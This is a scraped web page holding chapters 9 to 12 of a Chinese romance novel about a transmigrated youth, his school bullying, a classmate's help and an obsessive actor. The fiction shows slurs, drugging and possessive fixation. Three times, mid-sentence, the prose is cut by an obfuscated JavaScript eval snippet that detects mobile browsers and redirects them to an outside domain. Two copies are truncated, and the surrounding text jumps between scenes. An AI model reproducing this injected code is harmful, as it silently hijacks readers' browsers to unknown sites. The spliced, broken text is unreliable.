活了两辈子的人,居然被个毛头小子摁着上药。 真是出息到家了。 9. 第 9 章 褚亭玉连着几堂课,不是沉入梦乡就是神游天外。奇怪的是,没有一个老师对他的行为表达出半分不悦。他也乐得自在,睡得心安理得。 直到睡意彻底消散,往讲台上一看,已是王艳的语文课。 他翻出语文课本,封面上沾了点灰,瞥了一眼没管,指尖捻开书页。 映入眼帘的却不是印刷体的课文,而是密密麻麻、层层叠叠的丑陋涂鸦与字迹,像一群疯狂滋生的霉菌,几乎覆盖了整页纸的边缘和空白处。 “变态”、“死基佬”、“穿裙子的烂货”、“滚出我们班”、“娘娘腔”、“恶心”、“看见你就想吐”…… 词汇一个赛一个肮脏恶毒,其间夹杂着拙劣不堪的生殖器简笔画和吐口水的涂鸦。早先的辱骂被后来者覆盖,又被用力划掉,墨渍糊成一团团污浊。 褚亭玉像个冷漠的旁观者,指腹机械地捻动书页,一页,又一页,向后翻。 整本书,几乎每一页的空白处,都有痕迹。 翻到后面,似乎曾有人试图用橡皮擦拭过,但无济于事,反留下大片模糊的污渍和更显眼的划痕。那些恶毒的字眼依旧顽强地从污迹下露出,如同溃烂伤口深处未清的脓液,昭示着曾经倾泻的恶意。 难怪......比起旁人课桌上堆积如山的书本,原主这里如此空荡。 他又抽出其余几本书。 无一幸免。 内页同样沦陷在污言秽语的泥沼里,充斥着各种下流不堪的揣测和谩骂,有些字眼肮脏得令人胃部翻搅。五颜六色的笔迹纵横交错,分明是一场无声又丑陋至极的集体霸凌狂欢。 他掀起眼皮,看向讲台。 王艳正声情并茂,讲解着古圣先贤的锦绣文章,字字珠玑。 如此明目张胆的霸陵,就在她眼皮底下,日复一日上演。作为班主任,当真毫无所觉? 面对这种青春期的恶意倾轧,在风浪里滚过的褚亭玉看来,幼稚得可笑。但那个那个消失了的、只有十七岁的“褚亭玉”呢? 这一天,漫长得仿佛没有尽头。 讲台上的老师还在絮叨最后几道习题,空气里已经浮动起按捺不住的躁动。 他手肘支着桌面,下颌虚虚托在掌心,指尖百无聊赖地叩着书本,目光投向窗外,有些出神。 夕阳正一点一点往下沉,将天边煨成一片暖融融的橘色,温柔得不像话。 裤兜里突然闷闷地震了一下。他慢吞吞摸出那个老掉牙的按键手机。 一条新短信,发件人备注:姐姐。 【小玉,等会先别走,在教室里等我。】 姐姐?褚亭玉指尖在按键上顿了顿。 原主还有这层关系?这倒是个意外。 几乎在褚亭玉读完短信的同一时刻,艺术馆方向,阮筝拉上背包拉链,跟练舞的同伴挥手道别,朝主教学楼快步走去。练功服外套着宽大的校服,身形依旧挺拔如修竹。 海城一中的高三年级与高二隔着大半个校园,阮筝这学期来找褚亭玉的次数,屈指可数。 她步子迈得又快又稳,在高二(7)班的后门停住。视线越过攒动的人头,搜寻那个习惯蜷缩在角落的身影。 眸光落定的刹那,却是一怔。 少年靠坐在椅子上,脊背松弛地靠着椅背,头微微偏向窗外。熔金般的夕阳光穿过玻璃流淌进来,温柔地在他侧脸上勾勒出一道暖金色的轮廓,连发丝边缘都染上了一层浅金。 阮筝的心,像被什么无形的东西,轻轻撞了一下。 过去的褚亭玉,总是下意识地缩着肩膀,低着头,恨不能把自己藏进尘埃里,像只时刻警惕着危险的小动物,眼神躲闪,看人都是仓促一瞥。 而现在,他长腿舒展,像只午后晒饱了太阳餍足的猫,浑身上下透着一股近乎慵懒的自在。没有紧绷,没有防御,只有一种置身事外的沉静与松弛。 明明只是安静地坐在那片喧嚣的边缘,望着窗外,却莫名地拽住了她的视线。周围的嘈杂像被按下静音键,虚化褪去,只剩下他和他周身那层奇特的气场,吸附着所有的注意。 就在阮筝心头被这点陌生的讶异攫住时,教室里的喧闹,诡异地低落下去。紧接着,几道刻意提高的哄笑突兀响起,随即又有更复杂、更粘稠的目光,齐刷刷转向后排,也毫不客气地扫过门边站着的她。 褚亭玉似乎察觉到了这异样的氛围流转。 他转过头,带着点被打断的散漫,眼风懒洋洋地就那么扫了过来。 后门口,站着一个女生。 个子很高,简单的马尾辫束在脑后,露出光洁饱满的额头和优美的颈线。即使裹在宽大的校服里,也掩盖不住那份常年练舞塑造出的独特气质,是校园里会被仰望和讨论的存在。 她也在看他。 视线相接的瞬间,褚亭玉清晰地从对方那双明亮的眸子里捕捉到一闪而过的惊诧。 那眼神太陌生了,陌生得让阮筝心头微微一紧。没有预料中的慌乱和躲闪,他的眼神很深,很沉,仿佛有重量般,在审视一个初次见面的陌生人。 这目光让她呼吸一窒,脑子空白之下,唇瓣本能地翕动,喃喃念出: “小玉,走了。” 是她。 褚亭玉心中了然。 那个发短信的“姐姐”。 教室里彻底没了声息,连最后一点收拾东西的窸窣也停了。 褚亭玉慢条斯理地把手机塞回裤兜,这才不紧不慢地站起身。 两人一前一后踩着阶梯往下走,谁也没先开口。 褚亭玉手揣在兜里,眼睑低垂,专注盯着脚下一级级往下延伸的灰白台阶。 阮筝落后他半步,眼角的余光时不时掠过他挺直的脊梁和放松得有些过分的肩线,心头那点挥之不去的违和感又冒了出来。 她用力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯?”阮筝转头看他,眼里全是诧异和不解:“为什么这么肯定?”这事在她看来就是个不定时炸弹,他哪来的底气? 褚亭玉不想在这个话题上纠缠。解释不清,也懒得费口舌。他早注意到阮筝走的方向不是冲着校门口去的,直接岔开了话题: “去哪?” “机房。”被他这么一问,阮筝才想起此行目的,脸上那层薄怒又浮了上来,“去翻翻那几个帖子,看都还在不在。非得把背后使阴招的混蛋揪出来不可!” 褚亭玉无可无不可地“嗯”了一声。 揪幕后的人?他本人兴致缺缺。 不过,借此机会了解一下事情的原貌,弄清楚是哪个不长眼的在背后捅刀子,倒也不算坏事。 毕竟,眼下这堆烂摊子,是实实在在扣在了他褚亭玉的头上。 10. 第 10 章 学校机房里热烘烘的,老旧电脑风扇嗡嗡地响成一片,混着敲键盘噼里啪啦的脆响。刚放学不久,机位几乎被抢占一空。 对这年头的中学生来说,能摸到电脑,哪怕只是刷刷网页,也是桩稀罕事。 褚亭玉和阮筝寻到一台空位。阮筝一坐下,就麻利地点开浏览器,熟门熟路地戳进一个界面土得掉渣的学校贴吧。 指尖在键盘上快速敲击,输入几个关键词。鼠标滚轮干涩地咯吱响,屏幕上泛着蓝光的页面,一帧帧往下滚动。 跳出来的帖子,大多是些灌水的闲扯、求资料的、社团活动的通知......偶尔蹦出来个标题带着“女装”、“劲爆”、“某班”字眼的,点进去一看,要么语焉不详像打哑谜,要么配图风马牛不相及,纯跟风瞎起哄。 真正带有清晰指向性和附有照片的原帖,像蒸发了一样,连个影都没搜到。 阮筝不死心,重新刷新,页面空白了一瞬,又慢悠悠加载出来,还是啥也没有。她甚至把搜索时间范围往前大幅调整,一页一页往回翻,结果还是没看到。 她肩膀一塌,整个人泄了气地陷进椅背里,目光失焦地粘在毫无用处的屏幕上,长长舒了口气:“都没了......也算是件好事吧,就是弄不清是谁搞的鬼,也不知道后头还会不会再闹出什么幺蛾子。” 褚亭玉扫过屏幕上那些无关痛痒的标题,没吭声。他本来也没指望一个小姑娘能在这儿扒出什么关键信息。就算真查到那个发帖的马甲又如何?这年头,网络还没实名制呢。 “没了也好,回吧。”褚亭玉靠在旁边的电脑桌边,视线漫无目的地扫过一排排发亮的屏幕。 “也是。”阮筝想想,这结果确实不算坏。 机房深处光线稍暗的角落,高个的男生正关掉显示器,站了起来。 周君珩刚查完物理竞赛半决赛的信息,一抬头,意外在过道里看到一个熟悉的身影。 褚亭玉? 念头还没落定,脚已经先一步迈了出去,直直朝那个方向走去。 褚亭玉正被机房里闷浊的空气搅得心烦意乱,眼前光线冷不丁一暗。他下意识蹙眉,等看清挡在面前的人时,那点烦闷更深了些。 这小子,怎么哪儿都能碰上? 一阵说不出的烦躁顶上来,他也没费劲去压。早上刚在办公室承了人家的情,这会就摆脸子,确实不地道,但就是烦。 “怎么在这儿?”周君珩的声音还是那副清凌凌的调子。他本就是个心细的人,何况褚亭玉眉梢眼角的不耐没打算藏,当然一丝一毫都没逃过他的眼睛。 看起来......很不待见我。 这个认知让周君珩喉头微微一梗。从小到大,他何曾这般主动凑上去还招人嫌。可偏偏,一看见褚亭玉,双脚便像有了自己的意志,管都管不住。 “嗯。”褚亭玉应得又短又硬。他实在没心思寒暄,索性用下巴朝旁边示意了一下,“找点东西。” 周君珩这才注意到电脑前坐着的女生。当阮筝那张明艳的脸转过来时,他眼底闪过一抹难以掩饰的惊讶:“阮筝学姐?” 阮筝在学校里名气不小,长相气质拔尖,成绩优秀,是各种活动里的焦点人物。 她怎么会和褚亭玉在一块?而且......两人之间那种无形的熟稔感,似乎关系匪浅? 阮筝看见周君珩,也是一愣。她飞快瞥了一眼身旁的褚亭玉,又看向这位突然冒出来的风云学弟,语气带着点不确定:“周君珩?你们......认识?” 这组合着实古怪。一边是学校里无人不晓的天之骄子,另一边是她那个向来沉默寡言,几乎没什么存在感的邻居弟弟。 这两人根本就是两个世界的人。 夹在中间的褚亭玉无声地挑了挑眉梢,心道这世界真小。不过转念一想,高中的圈子就这么大,单凭这两人的样貌气质,无论搁哪儿都注定是人群里最扎眼的存在,想不认识都难。 “嗯,认识。”周君珩对她略一点头,算是打过招呼,目光很快又胶到褚亭玉身上,带着探询:“找什么?” 心底那份惊讶迅速发酵,混合成一种难以名状的滋味,尤其在看到阮筝投向褚亭玉时毫不掩饰的关切眼神后。 他们什么关系?朋友?还是更亲近些? 这个念头毫无预兆地跳出来,像根细小的芒刺,在他心口某个极其柔软的地方轻轻扎了一下,带起一丝转瞬即逝的陌生涩意。 他几乎是本能地,把这突如其来的情绪狠狠压了下去。 “找一些......”阮筝见褚亭玉没有反对的意思,便低声接过话头,含糊道,“关于他穿......呃,裙子的那些帖子。翻了半天,好像都被清理干净了。” 周君珩听完阮筝的话,脸上并未露出丝毫意外。他从校服口袋里摸出张折得四四方方的纸条,递给褚亭玉:“帖子是我删的。” 褚亭玉和阮筝同时怔住。 顶着两道能把人烧穿的惊讶目光,周君珩眼睛都没眨一下,继续解释,仿佛在说一件再自然不过的小事:“吧主是我认识的一个学长,借了他的权限。”他朝褚亭玉手里的纸条抬了抬下颌,“账号信息,发帖时间,还有IP地址的大致范围,都记在上面了。托人帮忙查一下,就能追到具体位置。” 褚亭玉垂下眼帘,展开那张普通的横格纸。上面是几行龙飞凤舞的字迹,列着几个贴吧ID、一串串数字…… 他重新抬起眼,目光第一次有了点分量,不再是那种纯粹的冷淡,里面杂糅着审视的锐利,还有一丝不易察觉的不解。 阮筝看看纸条,又看看周君珩,心里直犯嘀咕。这位传说中高悬云端、不染尘埃的学神,私下里竟如此古道热肠? 纸条脱手的瞬间,周君珩的心便不受控制地往下沉了沉。 完了。 他脑子里蹦出俩字。 自己这举动,是不是太冒失了?认识才几天?先是会所里多事,接着又在办公室强行替他出头,现在倒好,一声不吭把人家的“黑历史”帖子给删了,还自作聪明地把查到的线索当证据一样巴巴送上门。 这算什么?简直是殷勤过了头。 褚亭玉会怎么想? 觉得他莫名其妙,吃饱了撑的? 还是疑心他别有所图? 一种陌生的燥热感,生平第一次如此鲜明地爬上周君珩向来从容自持的脸颊。他不动声色地瞄着褚亭玉,试图从那张平静得过分的脸上抠出一点情绪变化的蛛丝马迹。 哪怕一丝厌烦?半分谢意?还是纯粹觉得他脑子有病? 可惜,他还是什么都没看出来。 有时候周君珩真想不通,褚亭玉一个普通高中生,到底怎么把心思埋得这么深? 周君珩搜肠刮肚,想说点什么来打破这令人浑身不自在的沉默。 “原来是你帮忙删的啊。”阮筝的声音适时地插了进来,她转向周君珩,眼神里是真切的感激,微微颔首,“谢谢,太麻烦你了。” “嗯。”周君珩应了一声,视线又黏回褚亭玉身上。心底那点微弱的期待,像风里的残烛,还没完全熄灭。 褚亭玉根本没看他,薄唇微启,淡淡抛出两个字:“回去。”话音未落,人已经率先转身。 周君珩滞了两秒,垂眼跟上。 三人沉默地走出机房,沿着走廊走着。 阮筝紧跟两步,与褚亭玉并肩而行。她偷偷瞥了一眼他清隽的侧脸,犹豫再三,还是没忍住开口。 声音不高不低,像是有意无意地说给旁边沉默得有些异常的周君珩: “那个......小玉他穿裙子,”她顿了一下,似乎在斟酌用词,“其实,没别的意思。就是......单纯觉得漂亮才穿。”她语气笃定,“而且,他也不喜欢男生的。” “......” 褚亭玉的脚步猛地顿住,冷声反驳,“不是我。” 他觉得很有必要替自己澄清,也是在跟那个“觉得女装漂亮”的原主划清界限。 但在这急于撇清的语境里,听在旁人耳中,却更像是被戳中心事后,带着点气急败坏的否认。 阮筝被他这突如其来的硬钉子噎了一下,张了张嘴,最终把剩下的话默默咽了回去。 就在这微妙的停顿里,褚亭玉异常敏锐的耳力捕捉到一声几乎散在空气中的气音附和: “是挺好看的。” 褚亭玉倏地侧过头,目光像探照灯一样,毫不客气上上下下将周君珩扫视了一遍。只见对方脸上飞快闪过一丝恨不得咬掉舌头的懊恼,紧接着,耳廓以肉眼可见的速度,迅速蔓延开一片滚烫的绯红,直烧到脖颈。 周君珩正看着他,突然对上褚亭玉的眼睛。那里面浮动着点若有似无的笑意,可细看之下,分明是赤裸裸的戏谑。滚烫的血气轰然直冲头顶,瞬间将他从耳根到脖颈的皮肤都烧透了。 他几乎是狼狈不堪地别开脸,视线慌乱地钉死在远处的地砖缝上,再不敢往褚亭玉那边瞟一眼。 这副罕见的手足无措的样子,莫名戳中了褚亭玉心底某处隐秘的点。他唇角向上勾了勾,倒没觉得被冒犯。 横竖那点芝麻烂谷子都是原主的,关他屁事。 认识时间虽短,但褚亭玉能断定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他都不知道这是第几次了,在褚亭玉跟前,心脏跟丢了某个零件似的。 褚亭玉被迫停下,手腕象征性地挣一下,没挣开。他倒也不见恼意,只是微挑起一侧眉峰:“嗯?还有事?” 周君珩扣着他腕骨的手指没松,力道拿捏得刚好,既不会弄疼他,又让他一时抽不出来。 他压了压喉间翻涌的慌乱和那点不合时宜的悸动,尽量维持住往日的沉稳:“......帮了你几次,蹭顿饭,不过分吧?”这借口连他自己都觉得找得拙劣无比,透着股强词夺理的生硬。 褚亭玉眼底那点最初的疑惑褪去,随即,一个带着明显挑衅意味的弧度,缓缓在他唇角漾开。 “可是——”他故意拖长了调子,声音懒洋洋的,裹着种理所当然的无辜,甚至掺了点无赖的狡黠,“我没让你帮啊。” 那眼神亮得晃眼,明明白白地写着:从头到尾,不都是你自个巴巴地凑上来的么? 周君珩完全没料到会是这样的直球反击,脑子里预设的所有回应瞬间卡壳,噎得他一时失语。脸上那点强撑的镇定像冰面一样裂开缝隙,他愕然地瞪着褚亭玉,脸上的傻气与矜贵的长相极度不符。 趁着他瞬间的失神,褚亭玉手腕灵活地一翻一转,轻而易举就从那虚握的钳制里挣脱出来。 “走了。他头也不回,手随意向后一扬。 周君珩僵在原地,只能眼睁睁看着他的身影汇入人潮。少年双手松松地插在校服裤兜里,肩背挺直,步伐不疾不徐,有种旁若无人的恣意。 这世上......怎么会有这种人? 胸口像被硬塞进一团浸了水的棉絮,堵得他呼吸都有些不畅。从小到大,他主动释放的善意,哪怕再微不足道,也从未被如此彻底不留情面地拒之门外。 周君珩脑海里不受控地浮现出褚亭玉的眼睛。凉薄但十足漂亮,像沉在幽暗潭底的冷月,清辉流转,天然筑起一道疏冷的无形屏障。 不,不对。 这个人,似乎生来就站在世界之外,而非囿于其中。 那种理所当然的疏离,甚至近乎无礼的直白,根本不是刻意摆出来的姿态,也无关乎什么难以接近的高傲。它更像是一种深入骨髓的本能,一种对自我领域绝对掌控权的不假思索的宣示。 胸口那股被拒绝的挫败感,奇异地淡了下去。一种更复杂、更陌生的情绪悄然滋生。 他忽然迫切地想知道,那潭深不见底的静水之下,究竟藏着怎样一片不为人知的天地? 11. 第 11 章 元华一遍遍拨打周君珩的电话,响了很久没人接。再打过去,关机了。 想起两天前餐厅那场闹剧,他隐隐感觉不对劲。 起初元华并不太担心,周君珩一向自律靠谱,即便突然冒出来个前男友,情绪激动了些,以周君珩的性子,也该冷静下来处理好了。圈里人对这种事见怪不怪,元华最初的惊讶过后,更多是出于对周君珩的信任。 只是万万没想到,周君珩竟然喜欢男人。这么多年,周君珩在情事上淡得跟白水似的,元华私底下都琢磨过他是不是无性恋。 究竟发生了什么?周君珩从不无缘无故不接他电话,更遑论关机玩消失,尤其今天这个要命的日子。 下午顶奢品牌的高端晚宴兼新季发布会,是半年前就敲定,合同里白纸黑字签死了必须到场。品牌方高层、顶级时尚媒体、国际名流云集,周君珩作为全球代言人,是绝对的核心主角,他不到场,后果不堪设想。 元华一脚油门赶到周君珩常住的这处高级公寓。车子刚在地库停稳,他就看到袁刚蹲在入户电梯厅旁的消防通道门口,捧着一个塑料饭盒,正埋头吃得专心。 元华几步冲过去,顾不上询问袁刚为什么蹲在这儿吃饭,劈头便问: “袁刚,你搞什么名堂?君珩人呢?电话不接还关机。今天什么日子你不清楚?下午两点半的造型团队,四点出发,品牌方那边都催我三回了。你杵在这儿干嘛?为什么不提醒他?为什么不叫他?” 袁刚被他吼得动作一顿,不紧不慢地把最后一口饭扒进嘴里,嚼吧嚼吧咽下,才抬起头。眼神漠然,对元华的滔天怒火视若无睹,只拿筷子朝紧闭的入户大门一指: “我没胆。你去叫。” 元华被他这态度噎得差点背过气,怒极反笑: “行!我去!” 他不再跟袁刚废话,这里的门禁录过他的指纹。验证通过,厚重的门锁应声弹开。 门刚推开一条缝,一股混杂着浓烈酒气和某种沉闷颓败的气息便扑面而来。 等看清门内的景象,元华整个人僵在原地,第一反应是自己开错门了。 客厅......简直像被龙卷风犁过一遍! 元华下意识后退一步,难以置信地抬头确认门牌,又回头看向门外的袁刚。 “这......这他妈是遭贼了?!周君珩人呢?”元华指着废墟般的客厅。 袁刚已经把空饭盒盖好放在一边,闻言抬了抬眼皮:“在里面。” “里面?里面都这样了,他人在里面?!这怎么回事?” 袁刚站起身,拍了拍裤腿上的灰:“想知道?”他朝里努努嘴,“自己进去问老板。”说完,身子往后一靠,重新倚回墙边,摆明了“我什么都不知道,别问我”的架势。 元华一口气堵在胸口,看着袁刚油盐不进的样子,知道从他嘴里是撬不出半个字了。他狠狠瞪了对方一眼,深吸一口气,压下心头的惊涛骇浪和越来越浓的不安,硬着头皮再次踏入。 脚下是粘腻的地毯和硌脚的碎渣。他深一脚浅一脚绕过东倒西歪的家具和满地的狼藉。通往卧室的走廊相对整洁些,但空气中弥漫的那股颓败气息丝毫未减。 主卧的门紧闭着。 元华走到门口,抬手想敲,又顿住。里面没有任何动静。他屏息侧耳听了听,什么都没听到。 “君珩?”他试探着唤了一声。 没有回应。元华的心直往下沉。不再犹豫,他拧动门把手,轻轻推开。 卧室里光线昏暗,厚重的窗帘拉得严丝合缝。空气比客厅更加浑浊,浓得化不开的烟味呛得元华喉咙发紧,皱眉不已。借着门缝透进来的那点可怜的光,能看到床边地毯上散落着好几个空酒瓶,烟蒂更是密密麻麻撒了一地。 周君珩背对着门,蜷缩在床边角落的地毯上,整个人缩成一团,头深深埋在臂弯里。身上还是餐厅那天穿的黑色高领羊毛衫,此刻皱得像块抹布,沾满了大片大片干涸的深色酒渍。头发乱糟糟地支棱着,浑身上下透着一股死气沉沉的颓丧。 仅仅两天!那个在镜头前永远光鲜矜贵、从容掌控一切的影帝,像被抽干了所有精神气,只剩下一具空荡荡的躯壳。 元华看着这背影,喉咙像是被什么东西死死扼住。一路上打好的腹稿,什么活动的重要性、违约的后果、外界猜测的质问,此刻一个字也吐不出来。巨大的震惊和难以置信压过了他的职业焦虑。 眼前的景象,已经完全超出了他的理解范围。 他走到周君珩身边,犹豫了一下,最终没有蹲下去,就站在离他一步远的地方,干涩地开口: “君珩?” 蜷缩的身影似乎轻微地动了一下,但依旧没有抬头。 “下午的活动......推了。” 元华瞬间被拉回现实,职业本能压倒一切:“推了?!周君珩!那是签了死合同的!品牌方高层、媒体全等着。违约金事小,得罪整个品牌圈,你以后的高端资源还要不要了?!口碑怎么办?!这......” “都无所谓了。”闷闷的声音从臂弯里传出,透着筋疲力尽的疲惫,“...一切...都没意思了。” 元华急得想跳脚,看着眼前这滩毫无生气的“烂泥”,火气混着绝望直冲脑门。他用力吸了口气,试图换个方向:“那...那餐厅那个,叶家的女婿......”他本意是想探探褚亭玉的态度,看看有没有转圜的余地。 他回去就找人查了,褚亭玉是林家的人,下午活动林家也有人去。 “他不是!!!”周君珩猛地抬起头嘶吼,声音因过度用力而撕裂,布满血丝的眼凶狠如困兽,里面翻滚着疯狂的占有欲,“他是我的!我的——!!” 那骤然爆发的戾气震得元华心脏骤缩,后面的话全噎住。眼前这癫狂陌生的男人,哪里还是他认识的那个周君珩? 空气凝固,只剩下周君珩粗重的喘息。 卧室门口忽然传来一个平静到冷淡的男声: “周君珩,我饿了。” 这声音像道开关。 上一秒还如同暴怒困兽的周君珩,身体猛地一僵,随即以惊人的速度收敛了所有狰狞与戾气。他几乎是连滚带爬地从地毯上撑起身子,身形晃了一下才站稳,快步走向门口,步伐带着掩饰不住的急切,却在靠近时又硬生生刹住。 元华眼睁睁看着周君珩停在褚亭玉面前,距离很近。那张脸上方才的疯狂被一种深沉的专注取代,下颌线收得很紧,喉结滑动了一下。开口时声音压得低而稳,竭力掩饰却仍透出紧张的关切: “醒了?哪里不舒服?饿得厉害吗?”他顿了一下,语速略快,“......抱歉,没注意时间。” 褚亭玉站在门口的光影里,身上穿着明显大一号,属于周君珩的深色丝质睡衣,衬得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871356|176218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裸露的脖颈与锁骨一线,皮肤冷白得如同覆了一层薄雪。 鸦羽般浓密的过耳发丝微乱地垂落,发尾带着自然的微卷,几缕不听话地翘着,拂过他线条清晰的下颌。脸上倦意未消,眉心微蹙,一丝不耐凝在秾丽得近乎有攻击性的眉眼间。 逆光勾勒出他高挺鼻梁和饱满唇形的精致轮廓,即使带着倦意,那五官组合也有着浓墨重彩的冲击力。 他没看元华,目光落在周君珩身上,语气倒是显出几分乖顺:“嗯,饿醒的。” “对不起,让你饿着了。”周君珩的懊恼几乎溢出。 他手忙脚乱地在身上摸索,又想起什么,转身扑到床边一阵翻找,抓起被扔在角落早已没电关机的手机,看着漆黑的屏幕,懊恼地低咒一声。 他转向元华,语速快得像机关枪:“元华,帮我点份餐。要清淡好消化的粥,温的,再加几样清爽小菜。尽量快些。” 吩咐完,周君珩下意识想靠近褚亭玉,脚步刚动又突然顿在原地。目光飞快扫过褚亭玉赤着的双足,再想到客厅满地狼藉的碎片,脸色唰地一下变了,“先别动!我抱你回......” 他急切地伸出手,想碰又畏缩不前,悬在半空,显得笨拙又可怜。 褚亭玉微微侧身避开那双伸过来的手,眉头蹙得更紧,看了一眼周君珩两天没换、散发着浓重酒气和烟味的衣服,毫不掩饰地流露出嫌弃: “不要,你脏死了。” “......” 元华正低头在手机上操作,冷不丁听到这句直白又刻薄的嫌弃,一个没绷住,“噗”地笑出声。他赶紧捂住嘴,可惜已经晚了。 门口两人目光齐刷刷射来。 周君珩的眼神瞬间阴沉得能滴出水来,带着被打扰的极度不悦和警告。 褚亭玉则只是淡淡地瞥了他一眼。 元华尴尬得头皮发麻,连忙举起手机晃了晃,干巴巴地找补:“咳...点...点好了!最快半小时送到!” 内心却在疯狂刷屏:卧槽!有生之年!居然有人当面嫌周君珩脏!还他妈嫌弃得如此理直气壮!真是个牛人! 褚亭玉没再理会元华,也没再看周君珩,转身就往次卧走。 周君珩立刻紧张兮兮地跟在他身后,保持着半步的距离,像条生怕被主人丢弃的大型犬,却又不敢靠得太近。 褚亭玉仿佛感觉不到身后那沉甸甸的注视,自顾自穿上凉鞋,径直绕过周君珩,朝相对干净的餐厅方向走去。经过周君珩身边时,他脚步未停,只微微侧了下头: “这次别在菜里放奇怪的东西。”身体残留的绵软无力,那种失控感让他极其不悦,语气也冷了几分。 周君珩的身体明显僵住,眼神闪过一丝狼狈和心虚,他垂下眼睫,喉结又艰难地滚动了一下,才低低应道: “......嗯。” 下药?! 元华握着手机的手指都僵住了,瞳孔地震,难以置信地看向周君珩那副心虚又驯服的样子。他感觉自己对周君珩多年的认知正在轰然崩塌。 这还是那个矜贵禁欲、连点花边都懒得沾的周君珩?! 褚亭玉似乎懒得再说什么,不再理会身后两人,径直走到餐厅的椅子边坐下,微微向后靠,闭目养神。 周君珩僵在原地,想靠近又不敢,目光贪婪又小心翼翼地在褚亭玉优越的侧脸上流连,眼神复杂难辨。 12. 第 12 章 元华坐在褚亭玉对面,看着他舀起碗里的粥,一勺勺送入口中,一举一动说不出的赏心悦目。 这张脸,这身段,还有这通身沉淀下来的气韵风度......哪里是流落在外二十年的私生子?分明是金玉堆里精心蕴养出来的贵人。 元华心里那点小心思,忍不住又活络起来。 可惜啊。想想周君珩那护食的疯劲,他是万万不敢招惹。 褚亭玉终于搁下瓷勺,抽出两张纸巾,按了按嘴角。 元华脸上立刻堆起恰到好处的笑容,语气放得格外温软熨帖:“褚先生,吃得还合口味?这家是老字号,清淡养胃,最是讲究。” 褚亭玉眼皮一撩,唇角噙着一丝若有似无的笑意,就那么看着他,没接话。 元华心头一凛,面上笑容不变:“像褚先生这样的品貌气度,实在万里挑一。要是肯屈尊进咱们这个行,绝对爆火,资源、曝光度,妥妥都是顶格的......” 他舌灿莲花,吹捧得既情真意切又天花乱坠,脑子里飞快地盘算着怎么才能把话引到正题上。 褚亭玉听着,心思却不在上面。他正琢磨着周君珩的事。 直到这两天,他才知道周君珩现在是一名演员。并且,红得发紫。 艺名就是本名。可褚亭玉使劲回想自己看过的内容,愣是没找到“周君珩”这三个字的半点影子。 【系统,查周君珩在原著里的情节。】 【检索数据库......未发现匹配角色‘周君珩’。警告:剧情线出现重大未知偏差。】 【一本娱乐圈文,这么大个影帝连个名字都没留下?偏差原因呢?】 【数据库无相关记录。无法分析。】 “......”习惯了系统的无能,褚亭玉还是忍不住在心里骂了句废物。 元华的溢美之词滔滔不绝,褚亭玉左耳进右耳出,心里没起半点波澜。等对方终于歇了口气,他才慢悠悠端起水杯抿了一口,淡声道:“元先生过誉,我对幕前工作,没什么兴趣。” 元华从善如流,笑容依旧得体:“也是,名利场看着光鲜,实则劳心劳力。就说今晚这场盛会,半个娱乐圈里有头有脸的都得去捧场,各界名流云集,听说……”他话锋微妙地一转,特意在几个字上压了压分量,“您姐姐林总,也会亲自到场。” 林乔伊?褚亭玉对这个挂名姐姐,没什么想法。 【触发原著关键节点:时尚晚宴。剧情强制推进:与女主重逢。请柬已由林乔伊发送至宿主邮箱。】 林乔伊主动邀请他?褚亭玉捏着杯子的指尖一顿。原著里可没这出,那个倒霉的原主跟她,基本就是两条平行线。 “咔哒。” 主卧门锁传来一声轻响。 周君珩走了出来。 湿漉漉的头发被他随意地用手向后一捋,饱满的额角和深邃的眉眼完全显露出来。没擦干的水珠顺着他优越的下颌线滚落,洇湿了浅灰色丝质睡衣的领口,晕开一小片深色的水痕。 他身上那件睡衣,跟褚亭玉身上的,是同一个牌子同一个系列,只是颜色不同。柔软的布料贴合着他宽肩窄腰的线条,连日来的颓唐似乎被水汽洗去,属于顶流影帝的那种侵略性的俊美和骨子里的清贵,又重新回到了他身上。 他手里攥着条毛巾,停在卧室门口,目光沉沉地落在餐厅里的褚亭玉身上,脚下有些迟疑。 “过来。”褚亭玉没回头,语气自然得像在召唤自家养熟了的宠物。 这声音似乎有种无形的牵引力。周君珩几乎是下意识地迈开长腿,几步就走到褚亭玉身边,依言坐下。坐稳后,他第一眼便去看褚亭玉面前的粥碗,见碗底差不多空了,紧绷的神色才略微松缓。 褚亭玉等他坐好,用下巴示意了一下桌上另一份还冒着热气的清粥和几碟精致小点:“先吃饭。” 两人之间这自然而然的互动,流畅得仿佛排练过无数次,完全无视了对面还坐着一个元华。 元华看着眼前这一幕,只觉得难以置信。 周君珩是什么人?圈内出了名的冷面佛爷,待人接物分寸感极强,从不轻易让人近身。多少谄媚讨好的人凑上去,往往只换来几句不痛不痒的场面话,碰了软钉子还得赔着笑。 可眼下这尊佛爷,却被眼前这个叫褚亭玉的男人牵着走。这份顺从,足以让任何熟悉周君珩的人惊掉下巴。 林家? 元华心里飞快地转着念头。 林家是有点家底,可跟周家这种盘踞多年、根系深扎各界的庞然大物比起来,完全不是一个量级。而这位褚先生,说到底,不过是流落在外二十年,侥幸被认回的私生子。 他凭什么? 仅凭这张出色的脸吗? 